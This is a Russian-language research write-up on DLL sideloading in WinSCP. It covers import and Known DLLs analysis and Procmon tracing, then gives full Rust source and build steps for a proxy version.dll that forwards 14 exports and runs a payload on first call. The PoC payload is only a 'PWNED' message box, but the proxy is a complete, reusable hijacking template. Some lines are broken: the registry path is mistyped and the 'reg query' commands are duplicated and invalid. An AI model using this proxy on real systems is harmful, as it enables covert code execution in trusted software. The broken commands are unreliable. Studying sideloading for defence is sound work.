Внимание: Этот материал создан только для учебы и исследований. Он нужен в первую очередь, чтобы понять, как устроена операционная система Microsoft Windows и какие механизмы защиты в ней есть. Текст не побуждает к незаконным действиям. Автор не несет ответственности за возможный вред, если использовать этот материал неправомерно или с нарушением закона.

WinSCP загружает version.dll из своей собственной папки, потому что Windows ищет DLL по определенному порядку. В этой статье покажут, как заметить такую библиотеку в приложении: сначала через таблицу импорта, потом по известным DLL, от которых зависит процесс, а затем с помощью Procmon, чтобы увидеть запуск переданной полезной нагрузки. Такой же прием недавно использовали и при атаке на Filezilla, поэтому материал будет полезен тем, кто изучает подмену DLL в целевых программах.

1. Введение

1.1. Что такое DLL Sideloading

Суть этой атаки в том, как Windows находит DLL. Сначала загрузчик проверяет папку, где лежит само приложение (AppDir), затем идёт в системные каталоги (System32/SysWOW64), и только после этого обращается к PATH. При DLL Sideloading вредоносную библиотеку помещают в каталог рядом с программой и называют так же, как нужную DLL. В результате загрузчик находит её первой и подхватывает вместо оригинальной. Есть и отдельный случай - Known DLLs: для них Windows сразу смотрит в системный каталог и не проверяет AppDir.

Важно не путать AppDir - то есть папку с .exe, - с текущим каталогом (CurrentDir), из которого был запущен процесс. Раньше атаки через CurrentDir встречались очень часто. До Windows XP SP2 схема работала так: если пользователь запускал программу из папки, где лежала вредоносная DLL, система могла загрузить именно её. Позже появился SafeDllSearchMode, который по умолчанию включён начиная с XP SP2. Он перенёс CurrentDir в конец списка поиска, после системных папок. Но от Sideloading рядом с самим .exe это не защищает: AppDir всё равно проверяется первым при любом раскладе. Поэтому размещение DLL рядом с исполняемым файлом по-прежнему остаётся рабочим способом атаки.

Режим

Порядок поиска DLL

Без SafeDllSearchMode (legacy, до Windows XP SP2)

1. AppDir → 2. CurrentDir → 3. System32 → 4. 16-bit System → 5. Windows → 6. PATH

С SafeDllSearchMode (включён по умолчанию с XP SP2)

1. AppDir → 2. System32 → 3. 16-bit System → 4. Windows → 5. CurrentDir → 6. PATH

1.2. Актуальность

В марте 2026 года обнаружили кампанию, где под видом FileZilla распространяли поддельную сборку через фейковый домен filezilla-project.live. Для DLL sideloading в этом случае использовали version.dll [1, 2]. А в апреле 2026 года те же атакующие скомпрометировали цепочку поставок CPUID (CPU-Z/HWMonitor) и задействовали cryptbase.dll [2].

1.3. Среда тестирования

Компонент

Значение

ОС

Windows 11 Pro 25H2 (build 26200.8875)

Rust toolchain

rustc 1.97.1 / cargo 1.97.1 (stable, 2026-07-14)

Целевая архитектура сборки

i686-pc-windows-msvc (32-bit для WinSCP x86)

WinSCP.exe (Portable 6.5.6)

CF948EAF8429C582636953E8B6B82097C8BB0A55111EC57E5F890E27DBAB70D9 (SHA-256)

SysWOW64\version.dll (x86)

4F66B88731E84BE8E1545EEFC589A79E701CCA426CE916E4AC9322E60EA9680B (SHA-256)

System32\version.dll (x64)

CEA99F212AF557A9613150C5509631403ED0F05F5D9A06AC42039BD59B40E39A (SHA-256)

PoC version_dll_poc.dll (x86)

5820504854E4B1FD077C1B909CCAF363B23C3DDB9818FB17CA8E150B335DC4E0 (SHA-256)

2. Методология исследования

Работа состояла из двух этапов. Сначала сделали статический анализ, чтобы определить зависимости WinSCP.exe и исключить те DLL, которые подгружаются только из системных каталогов. Затем с помощью Procmon наблюдали за запуском, чтобы понять, обращается ли загрузчик к папке приложения хотя бы за одной из оставшихся библиотек.

2.1. Статический анализ: Import Table

Отправной точкой стала таблица импортов WinSCP.exe - это перечень DLL и функций, с которыми программа связывается напрямую при запуске. Такой импорт особенно важен: если DLL подключена напрямую, приложение будет пытаться загрузить её каждый раз при старте, независимо от того, что делает дальше. Значит, именно здесь стоит искать возможный вектор.

Чтобы собрать список зависимостей, использовали PE-Bear и Python-библиотеку lief. Она умеет разбирать PE-структуру скриптом и вытаскивать все импорты без ручного просмотра файла.

Import Table WinSCP.exe в PE-Bear
Import Table WinSCP.exe в PE-Bear

В результате вышел полный перечень из 32 импортируемых DLL с указанием их функций. В этом списке есть и VERSION.dll - системная библиотека для работы с версиями файлов, и WinSCP обращается к ней только за тремя функциями. Это сразу привлекает внимание: если окажется, что загрузчик сначала ищет эту библиотеку в папке программы, то она может стать удобной целью, ведь используется очень мало.

2.2. Проверка Known DLLs

Но одного только импорта недостаточно. Здесь важен и список Known DLLs: библиотеки из него загрузчик забирает только из системного каталога и в папку приложения не заглядывает. Такой вариант сразу можно исключить, поэтому дальше я сверил все импорты с тем, что хранится в KnownDLLs в реестре.

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Листинг 1. Проверка импортов WinSCP.exe по перечню Known DLLs

import winreg, lief
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r'SYSTEM\CurrentControlSet\Control\Session\Manager\KnownDLLs')
known = {winreg.EnumValue(key, i)[1].split(',')[0].lower()
         for i in range(winreg.QueryInfoKey(key)[1])}
binary = lief.parse(r'WinSCP.exe')
for imp in binary.imports:
    dll = imp.name.lower()
    if dll not in known and not dll.startswith('api-ms-'):
        print(dll)

Показанный скрипт напрямую обращается к реестру целевой системы:

Проверка импортов WinSCP.exe по перечню Known DLLs
Проверка импортов WinSCP.exe по перечню Known DLLs

Учтите: список KnownDLLs зависит от версии и сборки Windows. Прежде чем делать вывод, подходит ли этот вектор, обязательно проверьте реестр на конкретной машине.

Понять, есть ли .dll в KnownDLLs, можно и через такую команду:

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" /v VERSION
reg query KnownDLLs /v VERSION
reg query KnownDLLs /v VERSION

В результате такой проверки из 32 импортов удалось отсечь 13. Остальные 19 - например, crypt32.dll, winhttp.dll, comctl32.dll и другие - уже нужно изучать в динамике: по статическому анализу не видно, в каком порядке загрузчик будет искать библиотеку.

2.3. Динамический анализ: Procmon

Динамическая проверка показала, в каких местах загрузчик пытается найти каждую DLL и что произойдёт, если вместо неё подставить свой файл. Благодаря этому удалось отделить настоящий путь атаки от тех вариантов, которые выглядели правдоподобно только на бумаге.

Использовали два этапа отбора: сначала смотрели на неудачные попытки обращения к папке приложения (Result = NAME NOT FOUND), а потом прослеживали настоящие пути, откуда подгружались файлы (Operation = Load Image).

Фильтр

Условие

Значение

Назначение

Process Name

is

WinSCP.exe

только события целевого процесса

Path

ends with

.dll

оставить только DLL-операции

Result

is

NAME NOT FOUND

показать провалы поиска

Procmon: NAME NOT FOUND для version.dll в каталоге приложения
Procmon: NAME NOT FOUND для version.dll в каталоге приложения

В трассировке видно событие Result = NAME NOT FOUND для пути C:\Program Files (x86)\WinSCP\version.dll. Это означает, что загрузчик сперва пытался найти DLL в каталоге программы, не обнаружил её там и лишь потом обратился к системным папкам.

Это подтверждает и событие Load Image: в итоге version.dll была подгружена из C:\Windows\SysWOW64\version.dll. Для 32-битного процесса на 64-битной Windows это обычное поведение WOW64, когда путь подменяется на системный.

Фильтр

Условие

Значение

Process Name

is

WinSCP.exe

Operation

is

Load Image

Procmon: Load Image version.dll из SysWOW64
Procmon: Load Image version.dll из SysWOW64

3. Результаты анализа

По совокупности признаков version.dll выглядит наиболее подходящим вариантом:

  • WinSCP.exe импортирует её напрямую через таблицу импортов, поэтому она подхватывается каждый раз при запуске;

  • она отсутствует в Known DLLs - это важный плюс, хотя и не единственный фактор;

  • у неё очень небольшая поверхность импорта: всего 3 функции (GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW). Благодаря этому прокси получается простым и не мешает работе приложения.

Если DLL подключается напрямую через IAT, загрузчик с гарантией поднимет нашу библиотеку ещё до старта программы. При обычных настройках системы такой подход работает стабильно.

4. Эксплуатация: DLL Proxy (Proof of Concept)

4.1. Архитектура прокси

Прокси повторяет интерфейс штатной version.dll и экспортирует 17 функций. Сам файл размещён в папке WinSCP, поэтому загрузчик сначала находит именно его и подставляет вместо системной библиотеки.

Из этих 17 экспортов 14 просто перенаправляются на уровне линковки в C:\Windows\SysWOW64\version.dll (linker-level forwarding), а ещё 3 - GetFileVersionInfoSizeW, GetFileVersionInfoW и VerQueryValueW - реализованы на Rust. WinSCP вызывает эти функции сразу после запуска, когда проверяет версии своих файлов, поэтому payload срабатывает почти сразу после старта приложения.

WinSCP.exe -> version.dll (appdir) -> прокси
    +-- 14 экспортов: linker forwarding --> C:\Windows\SysWOW64\version.dll
    +-- 3 экспорта: Rust-обработчики --> триггер --> MessageBoxW

4.2. Проброс экспортов через .def

version.dll из системного набора содержит 17 экспортируемых функций, и прокси подменяет их все. У 14 из них используется forwarding прямо на этапе линковки: строка GetFileVersionInfoA=C:\Windows\SysWOW64\version.GetFileVersionInfoA в .def-файле заставляет линкер записать в PE редирект экспорта, а дальше этим уже занимается загрузчик - без какого-либо кода. Ещё у трёх функций цели для forward нет, поэтому они реализованы прямо в прокси и описаны в src/lib.rs.

Листинг 2. proxy.def - проброс 14 экспортов, 3 перехваченных (без forward-цели)

LIBRARY version
EXPORTS
    GetFileVersionInfoA=C:\Windows\SysWOW64\version.GetFileVersionInfoA @1
    GetFileVersionInfoByHandle=C:\Windows\SysWOW64\version.GetFileVersionInfoByHandle @2
    GetFileVersionInfoExA=C:\Windows\SysWOW64\version.GetFileVersionInfoExA @3
    GetFileVersionInfoExW=C:\Windows\SysWOW64\version.GetFileVersionInfoExW @4
    GetFileVersionInfoSizeA=C:\Windows\SysWOW64\version.GetFileVersionInfoSizeA @5
    GetFileVersionInfoSizeExA=C:\Windows\SysWOW64\version.GetFileVersionInfoSizeExA @6
    GetFileVersionInfoSizeExW=C:\Windows\SysWOW64\version.GetFileVersionInfoSizeExW @7
    GetFileVersionInfoSizeW @8
    GetFileVersionInfoW @9
    VerFindFileA=C:\Windows\SysWOW64\version.VerFindFileA @10
    VerFindFileW=C:\Windows\SysWOW64\version.VerFindFileW @11
    VerInstallFileA=C:\Windows\SysWOW64\version.VerInstallFileA @12
    VerInstallFileW=C:\Windows\SysWOW64\version.VerInstallFileW @13
    VerLanguageNameA=C:\Windows\SysWOW64\version.VerLanguageNameA @14
    VerLanguageNameW=C:\Windows\SysWOW64\version.VerLanguageNameW @15
    VerQueryValueA=C:\Windows\SysWOW64\version.VerQueryValueA @16
    VerQueryValueW @17

.def-файл в проекте не хранится как готовый статический файл. Его во время сборки создаёт build.rs, причём отдельно под нужную архитектуру. Путь к системной папке берётся из CARGO_CFG_TARGET_ARCH: для x86-сборки это SysWOW64 - то есть 32-битный WinSCP, а для x64 - System32. После этого файл передаётся линкеру через cargo:rustc-link-arg=/DEF:....

4.3. Структура прокси-библиотеки

Прокси собирается как Rust-крейт с типом cdylib, так что на выходе получается обычная DLL. По файлам проект устроен так:

Cargo.toml - здесь указаны зависимости winapi с фичами libloaderapi, winuser и другими, задан тип cdylib, а для release-сборки ещё включены strip и LTO;

build.rs - создаёт proxy.def под целевую архитектуру и отдаёт его линкеру;

Листинг 3. Cargo.toml: полный манифест PoC

[package]
name = "version-dll-poc"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
winapi = { version = "0.3", features = [
    "processthreadsapi",
    "winbase",
    "memoryapi",
    "winnt",
    "handleapi",
    "errhandlingapi",
    "ntdef",
    "libloaderapi",
    "synchapi",
    "wincon",
    "tlhelp32",
    "debugapi",
    "winuser",
    "fileapi",
    "heapapi",
    "consoleapi",
    "ktmw32",
    "minwinbase",
    "guiddef",
] }
ntapi = "0.4"

[profile.release]
opt-level = "s"
debug = false
strip = "symbols"
lto = true
panic = "abort"

[build-dependencies]

Листинг 4. build.rs: генерация proxy.def под архитектуру

use std::{env, fs, path::Path};

fn main() {
    let out_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
    let def_path = Path::new(&out_dir).join("proxy.def");

    let target_arch = env::var("CARGO_CFG_TARGET_ARCH").unwrap_or_default();
    let system32 = if target_arch == "x86" {
        "C:\\Windows\\SysWOW64"
    } else {
        "C:\\Windows\\System32"
    };

    let def_content = format!(
        r#"LIBRARY version
EXPORTS
    GetFileVersionInfoA={s32}\version.GetFileVersionInfoA @1
    GetFileVersionInfoByHandle={s32}\version.GetFileVersionInfoByHandle @2
    GetFileVersionInfoExA={s32}\version.GetFileVersionInfoExA @3
    GetFileVersionInfoExW={s32}\version.GetFileVersionInfoExW @4
    GetFileVersionInfoSizeA={s32}\version.GetFileVersionInfoSizeA @5
    GetFileVersionInfoSizeExA={s32}\version.GetFileVersionInfoSizeExA @6
    GetFileVersionInfoSizeExW={s32}\version.GetFileVersionInfoSizeExW @7
    GetFileVersionInfoSizeW @8
    GetFileVersionInfoW @9
    VerFindFileA={s32}\version.VerFindFileA @10
    VerFindFileW={s32}\version.VerFindFileW @11
    VerInstallFileA={s32}\version.VerInstallFileA @12
    VerInstallFileW={s32}\version.VerInstallFileW @13
    VerLanguageNameA={s32}\version.VerLanguageNameA @14
    VerLanguageNameW={s32}\version.VerLanguageNameW @15
    VerQueryValueA={s32}\version.VerQueryValueA @16
    VerQueryValueW @17
"#,
        s32 = system32
    );

    fs::write(&def_path, def_content).expect("Failed to write proxy.def");
    println!("cargo:rustc-link-arg=/DEF:{}", def_path.display());
    println!("cargo:rerun-if-changed=build.rs");
}

src/lib.rs - это главный входной файл. В нём находятся DllMain, ленивое подключение настоящей version.dll из SysWOW64, запуск payload и реализация трёх перехваченных экспортов.

src/forward.rs - это 14 заглушек для тех экспортов, которые не перехватываются. Линкер просто перенаправляет их вызовы через forwarding, но сами символы всё равно нужно держать в коде.

В качестве payload для PoC используется вызов MessageBoxW из отдельного потока. Так хорошо видно, что код реально отрабатывает, без shellcode и без инъекций.

4.4. Как запускается payload

Прокси не запускает payload внутри DllMain - он привязан к вызову перехваченных функций. Но WinSCP начинает обращаться к version.dll уже на стадии инициализации, поэтому на практике окно MessageBox всплывает сразу после старта программы, ещё до появления главного окна.

Настоящая системная DLL подгружается только тогда, когда к ней обращаются впервые. Иными словами, при первом вызове любой из трёх hijack-функций выполняется LoadLibraryExW для C:\Windows\SysWOW64\version.dll, а адреса GetFileVersionInfoSizeW, GetFileVersionInfoW и VerQueryValueW записываются в атомарные статические переменные.

Листинг 5. src/lib.rs (часть 1): импорты, алиасы типов, статики, DllMain и ленивая загрузка

#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
#![allow(non_snake_case)]
mod forward;
use std::ptr;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};

use winapi::ctypes::{c_char, c_void};
use winapi::shared::minwindef::{BOOL, DWORD, TRUE, FALSE};
use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryExW};
use winapi::um::winnt::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};

type GetFileVersionInfoSizeWFn = unsafe extern "system" fn(
    lptstrFilename: *const u16,
    lpdwHandle: *mut u32,
) -> u32;

type GetFileVersionInfoWFn = unsafe extern "system" fn(
    lptstrFilename: *const u16,
    dwHandle: u32,
    dwLen: u32,
    lpData: *mut c_void,
) -> BOOL;

type VerQueryValueWFn = unsafe extern "system" fn(
    pBlock: *const c_void,
    lpSubBlock: *const u16,
    lplpBuffer: *mut *mut c_void,
    puLen: *mut u32,
) -> BOOL;

static ORIGINAL_DLL: AtomicUsize = AtomicUsize::new(0);
static PAYLOAD_FIRED: AtomicBool = AtomicBool::new(false);

static FN_GET_FILE_VER_INFO_SIZE_W: AtomicUsize = AtomicUsize::new(0);
static FN_GET_FILE_VER_INFO_W: AtomicUsize = AtomicUsize::new(0);
static FN_VER_QUERY_VALUE_W: AtomicUsize = AtomicUsize::new(0);
#[no_mangle]
pub unsafe extern "system" fn DllMain(
    _hinst: *mut c_void,
    reason: DWORD,
    _reserved: *mut c_void,
) -> BOOL {
    match reason {
        DLL_PROCESS_ATTACH => TRUE,
        DLL_PROCESS_DETACH => TRUE,
        _ => TRUE,
    }
}
fn ensure_original_loaded() {
    if ORIGINAL_DLL.load(Ordering::SeqCst) != 0 {
        return;
    }
    unsafe { lazy_load_original(); }
}
unsafe fn lazy_load_original() {
    let dll_path = if cfg!(target_arch = "x86") {
        "C:\\Windows\\SysWOW64\\version.dll"
    } else {
        "C:\\Windows\\System32\\version.dll"
    };
    let path_utf16: Vec<u16> = dll_path.encode_utf16().chain(std::iter::once(0)).collect();

    let handle = LoadLibraryExW(
        path_utf16.as_ptr(),
        ptr::null_mut(),
        0,
    );

    if handle.is_null() {
        return;
    }

    ORIGINAL_DLL.store(handle as usize, Ordering::SeqCst);

    let name_cstr: Vec<u8> = "GetFileVersionInfoSizeW".bytes().chain(std::iter::once(0)).collect();
    let addr = GetProcAddress(handle, name_cstr.as_ptr() as *const c_char) as usize;
    if addr != 0 { FN_GET_FILE_VER_INFO_SIZE_W.store(addr, Ordering::SeqCst); }

    let name_cstr: Vec<u8> = "GetFileVersionInfoW".bytes().chain(std::iter::once(0)).collect();
    let addr = GetProcAddress(handle, name_cstr.as_ptr() as *const c_char) as usize;
    if addr != 0 { FN_GET_FILE_VER_INFO_W.store(addr, Ordering::SeqCst); }

    let name_cstr: Vec<u8> = "VerQueryValueW".bytes().chain(std::iter::once(0)).collect();
    let addr = GetProcAddress(handle, name_cstr.as_ptr() as *const c_char) as usize;
    if addr != 0 { FN_VER_QUERY_VALUE_W.store(addr, Ordering::SeqCst); }
}

Триггер срабатывает только один раз. За повторный запуск payload отвечает флаг PAYLOAD_FIRED (AtomicBool). После этого управление возвращается в исходную функцию, поэтому WinSCP продолжает работать как обычно, а payload запускается в отдельном потоке.

Листинг 6. src/lib.rs (часть 2): триггер и перехваченные функции

fn trigger_payload() {
    if PAYLOAD_FIRED.swap(true, Ordering::SeqCst) {
        return;
    }

    std::thread::spawn(|| {
        let _ = std::panic::catch_unwind(|| {
            unsafe { show_message_box(); }
        });
    });
}

unsafe fn show_message_box() {
    let text: Vec<u16> = "PWNED by version.dll!".encode_utf16()
        .chain(std::iter::once(0)).collect();
    let caption: Vec<u16> = "DLL Sideloading PoC".encode_utf16()
        .chain(std::iter::once(0)).collect();

    winapi::um::winuser::MessageBoxW(
        ptr::null_mut(),
        text.as_ptr(),
        caption.as_ptr(),
        winapi::um::winuser::MB_OK,
    );
}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoSizeW(
    lptstrFilename: *const u16,
    lpdwHandle: *mut u32,
) -> u32 {
    ensure_original_loaded();
    trigger_payload();

    let addr = FN_GET_FILE_VER_INFO_SIZE_W.load(Ordering::SeqCst);
    if addr != 0 {
        let func: GetFileVersionInfoSizeWFn = std::mem::transmute(addr);
        func(lptstrFilename, lpdwHandle)
    } else {
        0
    }
}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoW(
    lptstrFilename: *const u16,
    dwHandle: u32,
    dwLen: u32,
    lpData: *mut c_void,
) -> BOOL {
    ensure_original_loaded();
    trigger_payload();

    let addr = FN_GET_FILE_VER_INFO_W.load(Ordering::SeqCst);
    if addr != 0 {
        let func: GetFileVersionInfoWFn = std::mem::transmute(addr);
        func(lptstrFilename, dwHandle, dwLen, lpData)
    } else {
        FALSE
    }
}

#[no_mangle]
pub unsafe extern "system" fn VerQueryValueW(
    pBlock: *const c_void,
    lpSubBlock: *const u16,
    lplpBuffer: *mut *mut c_void,
    puLen: *mut u32,
) -> BOOL {
    ensure_original_loaded();
    trigger_payload();

    let addr = FN_VER_QUERY_VALUE_W.load(Ordering::SeqCst);
    if addr != 0 {
        let func: VerQueryValueWFn = std::mem::transmute(addr);
        func(pBlock, lpSubBlock, lplpBuffer, puLen)
    } else {
        FALSE
    }
}

Сам payload тоже стартует отдельно и завернут в catch_unwind. Это нужно, чтобы паника в пользовательском коде не могла уронить WinSCP через DllMain и не тормозила вызов hijack-функции.

Листинг 7. src/forward.rs: заглушки пробрасываемых экспортов


#![allow(non_snake_case)]

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoA() {}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoByHandle() {}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoExA() {}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoExW() {}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoSizeA() {}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoSizeExA() {}

#[no_mangle]
pub unsafe extern "system" fn GetFileVersionInfoSizeExW() {}

#[no_mangle]
pub unsafe extern "system" fn VerFindFileA() {}

#[no_mangle]
pub unsafe extern "system" fn VerFindFileW() {}

#[no_mangle]
pub unsafe extern "system" fn VerInstallFileA() {}

#[no_mangle]
pub unsafe extern "system" fn VerInstallFileW() {}

#[no_mangle]
pub unsafe extern "system" fn VerLanguageNameA() {}

#[no_mangle]
pub unsafe extern "system" fn VerLanguageNameW() {}

#[no_mangle]
pub unsafe extern "system" fn VerQueryValueA() {}

4.5. Сборка и проверка прокси

Сборка выполняется под целевую архитектуру (WinSCP.exe - x86):

cargo build --release --target i686-pc-windows-msvc

В результате получается файл target\i686-pc-windows-msvc\release\version_dll_poc.dll. Потом его переименовывают в version.dll и помещают в папку, где установлен WinSCP.

Проверка PoC:

  1. Запустить WinSCP.exe;

  2. Убедиться, что программа ведёт себя нормально: окно открывается, файлы доступны для чтения;

  3. Проверить, что окно MessageBoxW «PWNED by version.dll!» появляется сразу после старта WinSCP. Это значит, что payload отработал при первом вызове перехваченных функций во время инициализации;

MessageBoxW «PWNED by version.dll!»
MessageBoxW «PWNED by version.dll!»
  1. В Procmon видно, что Load Image: version.dll загружается из каталога приложения, а не из SysWOW64.

Procmon: Load Image version.dll из каталога приложения
Procmon: Load Image version.dll из каталога приложения

5. Выводы

На практике DLL Sideloading через version.dll в WinSCP подтверждается: загрузчик действительно ищет библиотеку в папке приложения, и в Procmon это видно как NAME NOT FOUND в appdir. Прокси на Rust передаёт все 17 экспортов и запускает payload сразу при запуске, не мешая обычной работе программы.

Это уязвимое место. WinSCP делает всё так, как и должен, но порядок поиска DLL играет против него. Такой способ легко повторить, он стабильно работает и не требует ни прав администратора, ни специальных действий от пользователя, ни каких-то редких условий. Достаточно один раз положить version.dll в каталог приложения.

Источники

  1. Malwarebytes Threat Intelligence, «A fake FileZilla site hosts a malicious download», 2026-03-02

  2. Breakglass Intelligence, «CPUID.com Supply Chain Compromise: CRYPTBASE.dll Sideloading, FileZilla C2 Attribution», 2026-04-10